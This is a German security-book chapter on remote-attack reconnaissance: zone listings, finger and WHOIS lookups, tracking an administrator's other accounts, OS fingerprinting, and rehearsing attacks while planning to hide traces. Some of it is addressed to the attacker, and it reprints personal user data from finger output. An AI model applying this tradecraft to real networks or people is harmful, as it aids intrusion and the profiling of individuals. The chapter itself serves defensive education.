Der entfernte Angriff
file:///d|/cool stuff/old/hack/kap24.htm (1 von 14) [19.04.2000 21:15:31]
waren es ca. 35.000 Zeilen.)
Hinweis:
Der Befehl host
Der Befehl host liefert ungefähr die gleichen Informationen wie eine Kombination von nslookup und
dig. host hat jedoch zusätzlich den Vorteil, daß die Informationen in einem leicht lesbaren Format
ausgegeben werden, das sich zum lexikalischen Scannen eignet. Mit host können Sie eine netzwerkweite
Abfrage starten, indem Sie folgenden Befehl eingeben: host -l -v -t any hostname.com
Hier ist ein Beispiel einer Ausgabe der Boston University:
CS.BU.EDU 86400 IN HINFO SUN-SPARCSTATION-10/40 UNIX
CS.BU.EDU 86400 IN A 128.197.12.2
EE.BU.EDU 86400 IN A 128.197.176.78
EE.BU.EDU 86400 IN HINFO PC WINDOWS-NT
MAESTRO.BU.EDU 86400 IN A 128.197.6.100
MAESTRO.BU.EDU 86400 IN HINFO VISUAL-CX-19-TURBO X-SERVER
DARKSTAR.BU.EDU 86400 IN A 128.197.73.84
DARKSTAR.BU.EDU 86400 IN HINFO PC-CLONE LINUX
BLACK-ROSE.BU.EDU 86400 IN A 128.197.21.54
BLACK-ROSE.BU.EDU 86400 IN MX 10 CGL.BU.EDU
BLACK-ROSE.BU.EDU 86400 IN HINFO SGI-IRIS-4D/25 UNIX
MACADAMIA.BU.EDU 86400 IN A 128.197.20.120
MACADAMIA.BU.EDU 86400 IN HINFO MACINTOSH-II MAC-OS/MacTCP
COD.BU.EDU 86400 IN HINFO DECSTATION-3100 UNIX
COD.BU.EDU 86400 IN A 128.197.160.85
BUPHYC.BU.EDU 86400 IN HINFO VAX-4000/300 OpenVMS
BUPHYC.BU.EDU 86400 IN MX 10 BUPHYC.BU.EDU
BUPHYC.BU.EDU 86400 IN A 128.197.41.41
Auf den ersten Blick sieht dies nur aus wie ein Wirrwarr von Adressen, Hostnamen und
Hardware-Angaben. Für einen Cracker sind diese Daten jedoch recht informativ.
cs.bu.edu läuft unter Solaris. Wurde das Solaris-rlogin gegen Puffer-Überlauf gepatcht? Wenn
nicht, könnte man damit Root-Zugang erlangen.
DARKSTAR läuft unter Linux. Wenn eine Red-Hat-Distribution verwendet wird, könnte der
Cracker u.U. eine Lücke in imapd ausnutzen, um Root-Zugang zu bekommen.
BLACK-ROSE läuft unter IRIX. Es besteht die Möglichkeit, daß BLACK-ROSE als Web-Server
konfiguriert ist. Wenn dies so ist, kann man eine Schwachstelle in /cgi-bin/ handler ausnutzen, um
Root zu werden.
Wie Sie sehen, kann ein Cracker bereits durch die Eingabe eines einzigen Befehls an wertvolle
Informationen über sein Ziel gelangen.
Sehen wir uns das etwas genauer an. Nehmen wir zum Beispiel cs.bu.edu. Durch die obigen
Informationen wissen wir, daß cs wahrscheinlich unter Solaris läuft. (Ich sage wahrscheinlich, weil es
auch SparcLinux sein könnte.) Vielleicht können wir an einen gültigen Benutzernamen kommen. Läuft
Der entfernte Angriff
file:///d|/cool stuff/old/hack/kap24.htm (2 von 14) [19.04.2000 21:15:31]
dort finger? Aber sicher:
krazykid Ernest Kim p2 6 Tue 11:32 moria.bu.edu:0.0
Ernest kommt von moria.bu.edu. Aufgrund von Untersuchungen ähnlicher Listings vermuten wir einmal,
daß moria sich im cs-Cluster befindet:
CS10.BU.EDU 86400 IN CNAME VIOLIN.BU.EDU
CS11.BU.EDU 86400 IN CNAME CSL.BU.EDU
CS12.BU.EDU 86400 IN A 128.197.10.111
CS12.BU.EDU 86400 IN MX 10 CS.BU.EDU
CS12.BU.EDU 86400 IN HINFO XXX UNIX
CS13.BU.EDU 86400 IN CNAME MORIA.BU.EDU
CS14.BU.EDU 86400 IN A 128.197.10.113
CS14.BU.EDU 86400 IN MX 10 CS.BU.EDU
CS14.BU.EDU 86400 IN HINFO SUN-3/75 UNIX
CS13.BU.EDU 86400 IN CNAME MORIA.BU.EDU
Vielleicht können wir moria benutzen, um seine Freunde und Nachbarn anzugreifen. Wir müssen
zumindest ein paar Benutzernamen auf diesem System herausfinden. Läuft auf ihm finger? Ja:
allysony Allyson Yarbrough qterm 73 csa (BABB022-0B96AX01.BU.E
ann317 Ann Lam netscap 35 csa (PUB6-XT19.BU.EDU:0.0)
annie77 Nhi Au emacs-1 38 csa (PUB3-XT30.BU.EDU:0.0)
april jeannie lu tin *43 csa (sonic.synnet.com)
artdodge Adam Bradley pico 40 csb (cs-xt6.bu.edu:0.0)
barford Paul Barford pine *1* csb (exeter)
best Azer Bestavros tcsh 28 csb (sphinx:0.0)
best Azer Bestavros tcsh 0 sphinx (:0.0)
bhatti bhatti ghulam tin 33 csa (mail.evare.com)
brianm Brian Mancuso bash 19 csa (gateway-all.itg.net)
budd Phil Budne tcsh *5* csa (philbudne.ne.mediaone
carter Bob Carter rlogin 11 csb (liquid.bellcore.com)
Auf moria läuft nicht nur finger, sondern wir können auch sehen, was seine Benutzer gerade tun. Einige
beantworten Mails (pine), andere editieren Dateien (pico) und einige gehören zum harten Kern der
Unix-Fanatiker (emacs). Auch diese Informationen scheinen auf den ersten Blick nicht allzuviel zu
offenbaren - außer dem letzten Eintrag natürlich. Bob Carter verwendet rlogin. Obwohl es
unwahrscheinlich ist, könnte dies bedeuten, daß es irgendeine Vertrauensbeziehung zwischen moria und
einem anderen Rechner gibt.
Lassen Sie uns das Ganze noch einmal rekapitulieren. Obwohl wir erst zwei Befehle eingegeben haben
(host und finger), haben wir schon eine Menge herausgefunden.
Cracker beginnen im allgemeinen damit, sich auf diese Weise unauffällig ein paar Informationen zu
verschaffen. Diese Informationen stellen natürlich nur Möglichkeiten dar, aber daraus könnte sich schnell
einmal eine Gelegenheit ergeben.
Der Fairneß halber muß gesagt werden, daß es schwieriger sein würde, dieselben Informationen über ein
privates Netzwerk zu bekommen. Die meisten privaten Netzwerke beschränken den Zugang zu ihren
Der entfernte Angriff
file:///d|/cool stuff/old/hack/kap24.htm (3 von 14) [19.04.2000 21:15:31]
Name-Servern, oder sie schränken zumindest die Art der Informationen ein, die ein solcher Server der
Außenwelt preisgibt. Universitäten tun dies dagegen selten. Es wäre einfach zu unpraktisch für sie.
Hinweis:
Sogar Rechnernamen können manchmal Hinweise geben. Ein mir bekannter Systemadministrator ist ein
Astronomie-Fan. Als er sein Netzwerk plante, nannte er seine Rechner nach bekannten Asteroiden und
Fixsternen. Die Namensgebung war so konsequent, daß Cracker sich die folgende Frage stellten:
Könnte dieser Systemadministrator astronomische Namen für NIS verwendet haben? Er hatte.
Nachdem er unterschiedliche Methoden zur Abfrage von Name-Servern ausprobiert hat, wird der
Cracker zu anderen Netzwerkdiensten übergehen. Einer davon ist WHOIS.
24.3.1 WHOIS
Der Service WHOIS wird von internic.net betrieben, dem Network Information Center. Die Datenbank
enthält die folgenden Informationen:
Die Hostnamen aller nichtmilitärischen US-Domains
Die Namen der Eigentümer der Domains
Die technische Kontaktperson für jede Domain
Die Name-Server-Adressen jeder Domain
Eine WHOIS-Abfrage kann auf zwei Arten durchgeführt werden:
Von einer Unix-Befehlszeile
Von einem WHOIS-Gateway. Das ist eine Webseite, die ein HTML-Front-End für
WHOIS-Abfragen mit Hilfe von Formularen anbietet, z.B. http://www.internic.net/.
Die Informationen, die uns interessieren, sind der Name und die Adresse der technischen Kontaktperson.
Diese Informationen scheinen harmlos zu sein, sind es aber nicht. Wie Sie gleich sehen werden, kann die
E-Mail-Adresse der technischen Kontaktperson ziemlich wertvoll sein. Außerdem können Sie durch
whois-, nslookup- und host-Abfragen die Quelle der Internet-Anbindung des Ziels feststellen, ob
das Ziel eine echte oder eine virtuelle Domain ist und so weiter.
Jede noch so kleine Information kann hilfreich sein. Obwohl diese Informationen einzeln gesehen oft
wertlos sind, können sie zusammengenommen wertvolle Einblicke in ein Netzwerk liefern. Farmer und
Venema haben dies in Improving the Security of Your Site by Breaking Into It so beschrieben:
Was sollten Sie tun? Zuerst sollten Sie Informationen über Ihren (Ziel-) Host sammeln. Es
gibt eine Vielzahl von Netzwerkdiensten, die Sie abfragen können: finger, showmount und
rpcinfo sind gute Ausgangspunkte. Aber hören Sie danach noch nicht auf. Sie sollten auch
DNS, WHOIS, Sendmail (smtp), FTP, uucp und alle anderen Dienste verwenden, die Sie
finden können.
Wegweiser:
Improving the Security of Your Site by Breaking Into It von Dan Farmer und Wietse Venema .finden Sie
online unter http://www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html .
Der entfernte Angriff
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Besonders hilfreich kann es sein, Informationen über den Systemadministrator der Site zu sammeln.
Wenn Sie sich die Zeit nehmen, die Adresse des Administrators durch verschiedene Suchmaschinen
laufen zu lassen, können Sie wichtige Einblicke in sein Netzwerk, seine Sicherheit und seine
Persönlichkeit gewinnen.
Insbesondere sollten Sie die Beiträge aufspüren, die der Administrator im Usenet oder
Sicherheits-Mailing-Listen gepostet hat. Manchmal spezifizieren sie ihre Architektur, ihre
Netzwerktopologie und spezielle Probleme, die sie vielleicht haben. (Hin und wieder zeichnen sie
Diagramme in ASCII-Text, mit IP-Nummern und all dem.) Diese Diskussionen könnten Hinweise über
die Sicherheit oder Sicherheitsrichtlinien der Site liefern.
Wenn ein Systemadministrator z.B. täglich in Sicherheitsmailinglisten auftritt und über verschiedene
Sicherheits-Technologien diskutiert, ist er eindeutig vorbereitet und gut informiert. Falls seine Adresse in
solchen Listen oder Foren nicht auftaucht, ist er vielleicht wie die meisten Systemadministratoren:
ausreichend sorgfältig und mehr nicht.
Wie dem auch sei; sogar eine ganz geringe Präsenz in solchen Listen läßt vermuten, daß er Advisories
liest. Das ist für Cracker ein schlechtes Zeichen, da sie sich zum größten Teil auf mangelndes Wissen des
Administrators verlassen müssen.
Hinweis:
Oft wird das Eindringen in ein Netzwerk nicht verhindert, weil das Sicherheitspersonal nicht auf dem
laufenden ist. Viele Leute haben einfach nicht die Zeit, sich alle relevanten Sicherheitsadvisories
durchzulesen.
Wenn Sie keinen Hinweis darauf finden können, daß die offizielle E-Mail-Adresse des Administrators in
einer Sicherheitsmailingliste auftaucht, sollten Sie ein paar alternative Adressen ausprobieren. Eine
Methode ist, seinen Benutzernamen an alle Hosts des Netzwerks anzufügen. Wenn sein Benutzername
z.B. walross ist und das Netzwerk auf den folgenden Rechnern untergebracht ist:
sabertooth.target.net
bengal.target.net
puma.target.net
würden Sie die folgenden Adressen ausprobieren:
walross@sabertooth.target.net
walross@bengal.target.net
walross@puma.target.net
24.3.2 finger und rusers
Wenn finger und rusers auf dem Zielsystem laufen, können Sie sogar herausfinden, welche Accounts der
Systemadministrator auf anderen Netzwerken hat. Sie können diese Informationen aus den
Host-Namen-Berichten ableiten, die sowohl finger als auch rusers zur Verfügung stellt. Entweder im
kurzen finger-Format:
prof vladimir kutsman tcsh 72 csa (door1.lotus.com)
Der entfernte Angriff
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im langen finger-Format:
Login name: ulvi In real life: Ulvi yurtsever
Directory: /home/ulvi Shell: /sbin/sh
On since Jun 16 10:48:17 on pts/18 from milano.jpl.nasa.gov
2 minutes 35 seconds Idle Time
Mail last read Tue Jun 16 13:34:30 1998
No Plan.
oder im langen rusers-Format:
dc31245 207.171.0.111:pts/0 Jun 16 14:51 (207.171.10.68)
Leider ist es etwas schwieriger, an diese Informationen zu kommen. Es könnte Stunden oder gar Tage
dauern, bevor sich der Systemadministrator von einem fremden Netzwerk aus einloggt. (Wenn Sie nicht
wenigstens einen Account auf dem Ziel offenlegen können, haben Sie keine andere Möglichkeit, die
letzten Informationen zu sehen.)
Eine Lösung dieses Problems ist es, ein Script zu schreiben, das diese Informationen stündlich sammelt.
Irgendwann werden Sie einen Benutzer abfangen können, der sich über Telnet von einem ISP (oder einer
anderen Verbindung) aus einloggt. Die Ausgabe über Ulvi läßt z.B. vermuten, daß er einen Account auf
milano.jpl.nasa.gov hat. Diese Information an sich ist vielleicht nicht sehr hilfreich. Ihn auf diesem
Rechner fingern zu wollen, hat z.B. keinen Zweck, da finger dort deaktiviert wurde. Als ich Ulvis Namen
jedoch durch Altavista suchen ließ, fand ich folgende Adresse:
uyurtsever@dynatec.com
Mit Hilfe dieser Adresse konnte ich ihn an anderer Stelle aufspüren.
Wenn Sie beharrlich jede Spur verfolgen, werden Sie schließlich die anderen Accounts des
Systemadministrators herausbekommen. Dann können Sie ihn in Listen und Foren besser aufspüren.
24.4 Das Betriebssystem
Der nächste Schritt ist, herauszufinden, welches Betriebssystem das Ziel verwendet. Dieser Schritt kann
entweder sehr einfach oder sehr schwierig sein, je nach Konfiguration des Zielsystems.
Im Idealfall ist die Identifizierung des Betriebssystems eine einfache und unkomplizierte Angelegenheit,
und meistens ist das auch so. Viele Systeme geben ihr Betriebssystem an, wenn eine neue Login-Sitzung
gestartet wird. Unix zeigt zum Beispiel per Voreinstellung die /etc/issue-Datei an, wenn eine neue
Instanz von getty gestartet wird. In diesem Fall reicht eine einfache Telnet-Verbindung aus:
Trying 207.171.0.111...
Connected to 207.171.0.111
Escape character is '^]'.
UNIX(r) System V Release 4.0 (207.171.0.111)
login:
Wenn diese Informationen nicht sofort verfügbar sind, können Sie die Befehle host, dig und nslookup
ausprobieren. Diese Anfragen bringen genau dieselben Informationen, die ich für cs.bd.edu erhalten
Der entfernte Angriff
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habe. In vielen Fällen gibt die Ausgabe das Betriebssystem und die Systemarchitektur an. Diese
Informationen müssen jedoch nicht unbedingt korrekt sein. Sie könnten veraltet sein, oder jemand beim
Zielsystem könnte diese Listings unabsichtlich oder sogar absichtlich verändert haben.
Wenn diese Methoden alle versagen, müssen Sie es auf andere Weise versuchen. Eine Möglichkeit ist,
Socket-Verbindungen zu definierten (well-known) Ports zu öffnen, auf denen spezielle Dienste laufen.
Zum Beispiel läuft auf den meisten kommerziellen Betriebssystemen mindestens ein proprietärer Dienst,
der auf den anderen nicht läuft. Wenn Sie diese Dienste vorsichtig austesten, können Sie schon viele
Kandidaten ausschließen. (Diese Methode hat allerdings einige Nachteile. Wenn auf dem Zielsystem
Linux läuft, werden Sie viele falsche Positivmeldungen erhalten. Die Linux-Gemeinde hat die meisten
Dienste geklont. Deshalb kann es bei einer oberflächlichen Untersuchung so aussehen, als sei ein
Linux-Host ein ganz anderes System.)
Eine weitere Methode ist die Verwendung von Suchmaschinen. In diesem Fall verwenden Sie bekannte
Benutzernamen des Zielsystems. Sie suchen dann nach E-Mails oder Usenet- Beiträgen, die dort erzeugt
wurden. Ihr Ziel ist es, Header zu lokalisieren, die vom Zielhost stammen. Wenn Sie welche finden, sieht
das ungefähr so aus:
Newsgroups: misc.forsale.computers.workstation
Subject: Sparc LX forsale
Date: Thu, 11 Jun 1998 11:08:20 -0400
Organization: Alcatel Network Systems, Inc Raleigh, NC
Lines: 22
Distribution: world
Message-ID: <357FF2E4.C22661A9@aur.alcatel.com>
NNTP-Posting-Host: aursgw.aur.alcatel.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 - (X11; U; SunOS 5.6 sun4u)
In der letzten Zeile werden die Umgebung, das Betriebssystem und die Rechnerarchitektur angegeben:
X-Mailer: Mozilla 4.04 - (X11; U; SunOS 5.6 sun4u)
Damit ist der Fall schon so gut wie erledigt. Im obigen Beispiel ist der Zielhost eine Sun Microsystems
Sparc Ultra, auf der Solaris und der Netscape Communicator für X laufen.
Hinweis:
Sicherlich gibt es noch andere Methoden, ein System zu knacken. Wenn Ihr Ziel ein Unternehmen ist,
das den Versand von Produktinformationen über das Web anbietet, ist es kein Problem, es dazu zu
bringen, Ihnen etwas zuzuschicken. Sie könnten auch verschiedene Fehler auf ihren Servern oder durch
ihre E-Mail-Gateways erzwingen, die das System preisgeben könnten. Cracker wählen jedoch immer
den Weg des geringsten Widerstands. Außerdem bevorzugen sie Techniken, die so wenig Spuren wie
möglich hinterlassen.
Ein ernsthafter Cracker wird diesen Vorgang für alle Hosts im Teilnetz des Ziels wiederholen. Es ist für
den Cracker zwar immer am besten, wenn er das Zielsystem knacken kann. Aber ein privilegierter
Der entfernte Angriff
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Zugriff auf einen Host im Teilnetz des Ziels ist auch schon ein guter Anfang.
24.5 Weitere Untersuchungen
Der nächste Schritt ist, auf der Grundlage der bis jetzt gesammelten Daten weitere Informationen
einzuholen. Wenn Sie bei Ihren ersten Untersuchungen ausreichend sorgfältig vorgegangen sind,
beinhalten Ihre Daten Informationen über das Betriebssystem des Ziels, die Hardware, vermutliche
Vertrauensstellungen und die Topologie des Netzwerks.
Mit Hilfe dieser Informationen können Sie weitere Untersuchungen durchführen, die dazu dienen,
potentielle Schwachstellen des gesamten Zielsystems zu entdekken. In den meisten Fällen ist dafür kein
direkter Kontakt mit dem Ziel erforderlich.
24.5.1 Hauptschwachstellen des Systems identifizieren
Es gibt mehrere Methoden, Informationen über die Schwachstellen des Zielsystems zu sammeln. Einige
Leute meinen, daß Scanner wie ISS und SATAN automatisch Schwachstellen entdecken, und deshalb
keine eingehenden Untersuchungen erforderlich seien. Ich bin da anderer Meinung.
Scanner sind ausgezeichnete Tools zur Prüfung Ihres eigenen Netzwerks. Sie können damit eine grobe
Suche nach weitverbreiteten Sicherheitslücken vornehmen. Deshalb sparen sie Ihnen eine Menge Zeit,
die Sie dazu nutzen können, sich spezielleren Problemen zu widmen.
Hinweis:
Um zu sehen, wie Sie diese Tools für sich nutzen können, sollten Sie sich »Flirting with SATAN«
besorgen, eine Fallstudie von Nancy Cook und Marie Corbin. Cook und Corbin verwendeten SATAN,
um eine Analyse von ca. 14.000 Hosts in ihrem Netzwerk durchzuführen. Sie finden die Studie unter
http://www.trouble.org/security/auditing_course/nancy_cook.ps.
Scanner sind jedoch nicht dazu geeignet (und auch nicht vorgesehen), ein fremdes Netzwerk anzugreifen.
Einen Host ohne Autorisierung zu scannen ist ungefähr das gleiche, als würden Sie ein beliebiges Haus
in Ihrer Straße auswählen und bei hellichtem Tag ausprobieren, ob sich die Türen oder Fenster öffnen
lassen. Das ist nicht besonders raffiniert.
Außerdem hat die starke Verbreitung von Scannern dazu geführt, daß Tools entwickelt wurden, mit
denen man die Signaturen beliebter Scanner entdecken kann. Diese Signaturen (die von Log-Einträgen
oder Kontrollschleifen-Mustern abgeleitet werden), sind in zu viele Systeme zur Erkennung von
Eindringlingen integriert worden. Aus diesem Grund ist von einem willkürlich durchgeführten Scan
unbedingt abzuraten. Der Wert der gewonnenen Daten rechtfertigt die Aufmerksamkeit nicht, die ein
solcher Scan erregt.
Hinweis:
Der entfernte Angriff
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Es gibt Fälle, in denen es dennoch denkbar ist, daß Sie einen Großscan durchführen möchten. Einer ist,
daß Sie über sogenannte Wegwerf-Domains verfügen. Das sind Rechner, die Sie offengelegt, aber noch
für nichts verwendet haben. Von einem solchen Rechner aus könnten Sie ohne Bedenken einen Scan
ausführen. Wenn Sie das jedoch getan haben, sollten Sie nicht zu lange damit warten, in das Zielsystem
einzudringen. Der Systemadministrator dort wird die Sicherheit wahrscheinlich ziemlich schnell
erhöhen.
Klüger ist es, sich die Informationen über potentielle Schwachstellen von anderen Quellen zu besorgen,
z.B.:
Sicherheits-Advisories
Sicherheits-Mailinglisten
Cracker-Sites
Handbücher zur Systemadministration
Patch-Sites
Ich möchte kurz darauf eingehen, wie man an diese Informationen gelangt.
24.5.2 Sammeln von Informationen über System-Schwachstellen
Sie können auf verschiedene Arten an diese Informationen kommen. Wie Sie vorgehen, hängt
hauptsächlich von Ihrem letztendlichen Ziel ab. Es gibt zwei Arten von Informationsquellen, und jede hat
ihre Vor- und Nachteile. Es sind
Cracker-Sites
Legitime Informationsquellen zu Sicherheitsfragen
Wir wollen uns einmal ansehen, welcher Art und Qualität die dort angebotenen Informationen sind.
24.5.3 Cracker-Sites
Wenn Sie nach einer »quick-and-dirty«-Lösung suchen, können Sie sich sofort den Cracker- Sites
zuwenden. Das ist aber wahrscheinlich nicht sehr empfehlenswert.
Cracker-Sites sind ausgezeichnete Quellen für Exploits. Sie können dort oft Quellcode oder sogar
kompilierte Binaries finden. Deshalb kommt es Ihnen anfangs vielleicht so vor, als seien Cracker-Sites
eine tolle Sache, um schnell zum Ziel zu kommen. Daß dem leider nicht so ist, hat mehrere Gründe:
Erstens liefern Cracker oft keine Dokumentation zu ihren Tools. Und selbst wenn sie dies tun, ist
die Dokumentation oft zu knapp, unausgereift oder sogar falsch. Cracker-Tools werden selten mit
der gleichen Qualitätssicherung entwickelt wie »legitime« Tools. Statt dessen erledigen
Cracker-Tools einfach nur ihre Aufgabe und weiter nichts.
Zweitens können Cracker-Tools eine Gefahr für Ihre eigene Systemsicherheit darstellen.
Manchmal enthalten diese Tools Trojanische Pferde oder anderen verdächtigen Code. Dieser Code
führt vielleicht den beabsichtigten Exploit durch und nutzt gleichzeitig die Schwächen Ihres
Systems aus. Seien Sie besonders vorsichtig bei Cracker-Tools, die Root-Privilegien erfordern
oder ausschließlich in Binärformat verfügbar sind.
Der entfernte Angriff
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Drittens werden Cracker-Tools meist in Eile herausgegeben, sofort nachdem der Exploit das erste
Mal entdeckt worden ist. Eine darauffolgende Weiterentwicklung oder Feinabstimmung des Tools
bleibt oft aus. Cracker-Tools sind etwas anderes als die aus herkömmlicheren Quellen stammenden
Tools. Aus diesem Grund werden Sie vielleicht nie über die dem Tool innewohnenden Fehler
informiert werden.
Der größte Nutzen von Cracker-Sites besteht darin, daß Sie sie benutzen können, um die potentiellen
Schwachstellen des Ziels schnell zu identifizieren. Dadurch bekommen Sie einen gewissen Vorsprung
vor den akkurateren, legitimen Sicherheitsinformationen.
24.5.4 Legitime Informationsquellen zu Sicherheitsfragen
Legitime Sicherheitsquellen sind ein ausgezeichneter Ausgangspunkt. Sie bieten einige
Annehmlichkeiten, die den Cracker-Sites fehlen.
Zum Beispiel verfügen die legitimen Quellen meistens über eine bessere Dokumentation. Diese
Dokumentation erläutert meistens besser, wie und warum ein Exploit funktioniert. Außerdem enthält sie
wahrscheinlich Informationen darüber, wie man den Angriff verhindern oder entdecken kann. Diese
Informationen kommen z.B. in Form von:
Log-Dateien
Konfigurationsdateien
Patch-Scripts
Test-Scripts
Um diese Daten zu sammeln, müssen Sie eine umfassende Suche durchführen. Sie könnten z.B. nach
dem Lesen von ersten Advisories entdecken, daß die einzige verfügbare Information eine Beschreibung
der Schwachstelle ist - was oft der Fall ist. Hersteller und Sicherheitsteams sind oft zurückhaltend mit
dem Posten von detaillierten Informationen, und das ist auch verständlich. (Dies zu tun, würde nur zu
weiteren Angriffen einladen.) Deshalb müssen Sie bei Ihrer Suche ein bißchen aggressiver vorgehen.
Nachdem Sie ein paar Advisories über diese oder jene Schwachstelle gelesen haben, sollten Sie nach
dem allgemein üblichen Namen oder Jargon-Ausdruck für die Sicherheitslücke suchen. Ein Beispiel ist
»das telnetd-Problem von Linux« (bzw. »the Linux telnetd problem«, wenn Sie nach englischen Quellen
suchen), eben der Ausdruck, unter dem das Sicherheitsloch bekannt geworden ist. Um diesen Namen
herauszufinden, verwenden Sie am besten die ID des Advisories als Suchausdruck.
Wenn Sicherheitsteams ein Exploit-Skript, ein Test-Skript oder einen Kommentar posten, fügen sie
meistens eine vollständige Referenz auf das Original-Advisory ein. Zum Beispiel enthält ihre Nachricht
etwas ähnliches wie »Hier ist ein Script zum Testen, ob Ihr System für das talkd-Problem verwundbar ist,
das in CA-97.04 beschrieben wurde«.
Dieser Satz bezieht sich auf das CERT-Advisory Nummer 97.04, das am 27. Januar 1997 herausgegeben
wurde. Um darauffolgende Referenzen auf das Advisory zu finden, geben Sie die CERT-Nummer als
Suchausdruck ein. Nachdem Sie einige der gefundenen Dokumente durchgelesen haben, kennen Sie den
üblichen Ausdruck für die Sicherheitslücke. Wenn Sie mit diesem eine neue Suche starten, können Sie
sowohl legitime als auch Underground-Datenbanken aufspüren. Innerhalb relativ kurzer Zeit werden Sie
alle verfügbaren Informationen über diese spezielle Sicherheitslücke gefunden haben.
Der entfernte Angriff
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Wenn Sie Folgebeiträge finden, haben Sie schon halb gewonnen. Es gibt verschiedene Methoden, diesen
Prozeß zu beschleunigen. Zum Beispiel ermöglichen Ihnen einige Archive, die Nachrichten nach
Diskussionsfäden (Threads) gebündelt zu lesen. Diese Archive sollten Sie bevorzugt verwenden, weil Sie
damit schnell einen Überblick über den ersten Beitrag und die Folgebeiträge gewinnen können.
Die Mehrzahl der Sicherheitslisten und -archive bietet diese Möglichkeit jedoch nicht. Deshalb müssen
Sie bei diesen wahrscheinlich einen Beitrag nach dem anderen durchforsten.
Eine umfassende Suche lohnt den Aufwand immer. Folgebeiträge beinhalten normalerweise Exploit- und
Test-Skripte, die von Sicherheitsteams entwickelt worden sind. Diese enthalten im allgemeinen
ausgezeichnete technische Informationen über die Schwachstelle. Zum Beispiel könnte ein Teilnehmer
der Liste einen neuen Dreh für den Exploit gefunden haben. Andere haben vielleicht herausgefunden,
daß ein verbundenes Programm, eine Include- Datei oder eine Abhängigkeit die wirkliche Ursache des
Problems waren. Die Gedanken und Reflektionen dieser Leute sind Gold wert. Wenn Sie diese
Informationen studieren, können Sie nicht nur die genaue Ursache der Sicherheitslücke feststellen,
sondern auch sicher voraussagen, welche Auswirkungen Ihr Angriff auf das Zielsystem haben wird.
Zu diesem Zeitpunkt haben Sie folgende Informationen:
Wer der Administrator ist, seine Gewohnheiten, seine anderen Accounts, seine Arbeitszeiten, seine
Einstellung zur Sicherheit und seine persönlichen Daten.
Netzwerktopologie, Domain-Server, Hardware, Software, Architektur und vermutliche
Vertrauensstellungen.
Mögliche Sicherheitslücken, Ursachen, Tools zum Testen, Exploits und mögliche Fallen beim
Ausnutzen dieser.
Der nächste Schritt ist ein Testlauf.
24.6 Einen Testlauf durchführen
Testläufe sind nicht unbedingt erforderlich, aber praktisch. Richten Sie einen Rechner so ein wie Ihr Ziel.
Wenn Ihr Ziel z.B. eine SparcStation 2 mit Solaris 2.4 ist, besorgen Sie sich eine solche. Setzen Sie
dieses System derselben Attacke aus, die Sie für Ihr Ziel planen.
Die Resultate werden Sie über zwei Dinge informieren:
Wie die Angriffe auf Ihrem Front-End aussehen werden.
Wie die Angriffe auf der Seite des Opfers aussehen werden.
Dies hat gleich drei Vorteile:
Erstens können Sie feststellen, wie das Ziel auf Ihre Angriffe reagieren wird. Das ist ein ziemlich
wichtiger Punkt. Ein identisch konfigurierter Rechner (oder scheinbar identisch konfigurierter Rechner)
sollte ähnlich reagieren. Wenn er dies nicht tut, sollten Sie vorsichtig zu Werke gehen. Der
Systemadministrator könnte etwas in petto haben.
Wie ich in Kapitel 7, »Kriegsführung im Internet«, beschrieben habe, gibt es fortschrittliche Systeme zur
Erkennung von Eindringlingen und zur Ausgabe von Falschinformationen. Diese Systeme bieten
Der entfernte Angriff
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irreführende Informationen an, um den Angreifer glauben zu lassen, daß er mit einem bestimmten
Betriebssystem und bestimmten Anwendungen arbeitet, obwohl dies nicht der Fall ist. Die meisten
Unternehmen können sich solche Tools nicht leisten, aber man kann nie wissen.
Testläufe können dies feststellen und gewisse Anzeichen für die Integrität des Angriffs ermitteln. Bill
Cheswicks Ausführungen über Berferd zeigen, daß sogar eine halbherzige Simulation eines
verwundbaren Netzwerks effektiv sein kann. Wie bereits in Kapitel 7 erwähnt, ist dies der gegenwärtige
Ansatz beim Krieg um Informationen.
Zweitens werden Ihnen die Log-Dateien auf dem simulierten Zielrechner zeigen, welche Fußabdrücke
Sie hinterlassen. Auch das ist wichtig zu wissen. Unterschiedliche Versionen bringen unterschiedliche
Log-Dateien hervor, und Sie sollten genau wissen, welche Log- Dateien durch Ihren Angriff erzeugt
werden. So können Sie planen, wie Sie Ihre Spuren auf dem Ziel Ihres Eindringens verwischen könnten.
Drittens geben Ihnen Testläufe die Möglichkeit, zu sehen, welche Exploits wirklich effektiv sind. Wenn
Sie den Code von jemand anderem verwenden (was meistens der Fall ist), können Sie nie sicher sein, daß
er so funktioniert, wie Sie es erwarten, bevor Sie ihn nicht ausprobiert haben. Nur weil er auf der
Konfiguration der Autoren funktioniert hat, muß das noch lange nicht bedeuten, daß er auch auf Ihrem
Ziel funktionieren wird. Das gilt in gewissem Maße natürlich auch für Ihr Testsystem, aber nur
abgeschwächt. Wenn Sie gründliche Vorarbeit geleistet haben, dürfte Ihr Testsystem der Konfiguration
des Ziels schon ziemlich nahekommen. Sie können natürlich nie wissen, ob der Systemadministrator des
Zielsystems selbst geschriebene Sicherheitsprogramme laufen läßt. Ein gewisses Risiko läßt sich nie
ganz ausschließen.
24.7 Zusammenfassung
Der in diesem Kapitel beschriebene Prozeß umreißt die wesentlichen Bestandteile eines Angriffs. Diese
beinhalten:
Die Sammlung von Informationen über das Ziel
Die Identifizierung der Schwachstellen des Ziels
Die Vorbereitung eines heimlichen Zutritts
Weiterhin ist eine Einschätzung des Gesamtzusammenhangs erforderlich. Einzelne Exploits zu kennen,
reicht nicht aus. Ein Cracker muß sein Talent kultivieren, diese Techniken kombiniert anwenden zu
können. Das Knacken eines Systems ist ein dynamischer Prozeß. In neun von zehn Fällen wird der
Cracker auf Bedingungen treffen, auf die er nicht vorbereitet war. Diese Probleme gilt es kreativ und
schnell zu überwinden.
Sie können einen guten Einblick gewinnen, wenn Sie das Verhalten von Crackern und Techniken zur
Erkennung von Eindringlingen studieren. Wenn Sie Ihren Feind kennen, haben Sie schon halb
gewonnen. Die folgenden Links können Ihnen helfen, dieses Ziel zu erreichen:
Phrack Magazine. Phrack ist ein Untergrund-Journal, das sich auf die unterschiedlichen Methoden des
Eindringens in fremde Systeme konzentriert. http://www.phrack.com/
2600: The Hacker Quarterly. 2600 ist ein E-Zine und ein Print-Magazin für Hakker. http://
Der entfernte Angriff
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www.2600.com/
Computer Break-Ins: A Case Study. Leendert van Doorn.
http://www.alw.nih.gov/Security/FIRST/papers/general/holland.ps
An Evening With Berferd: in Which a Cracker Is Lured, Endured, and Studied. Bill Cheswick.
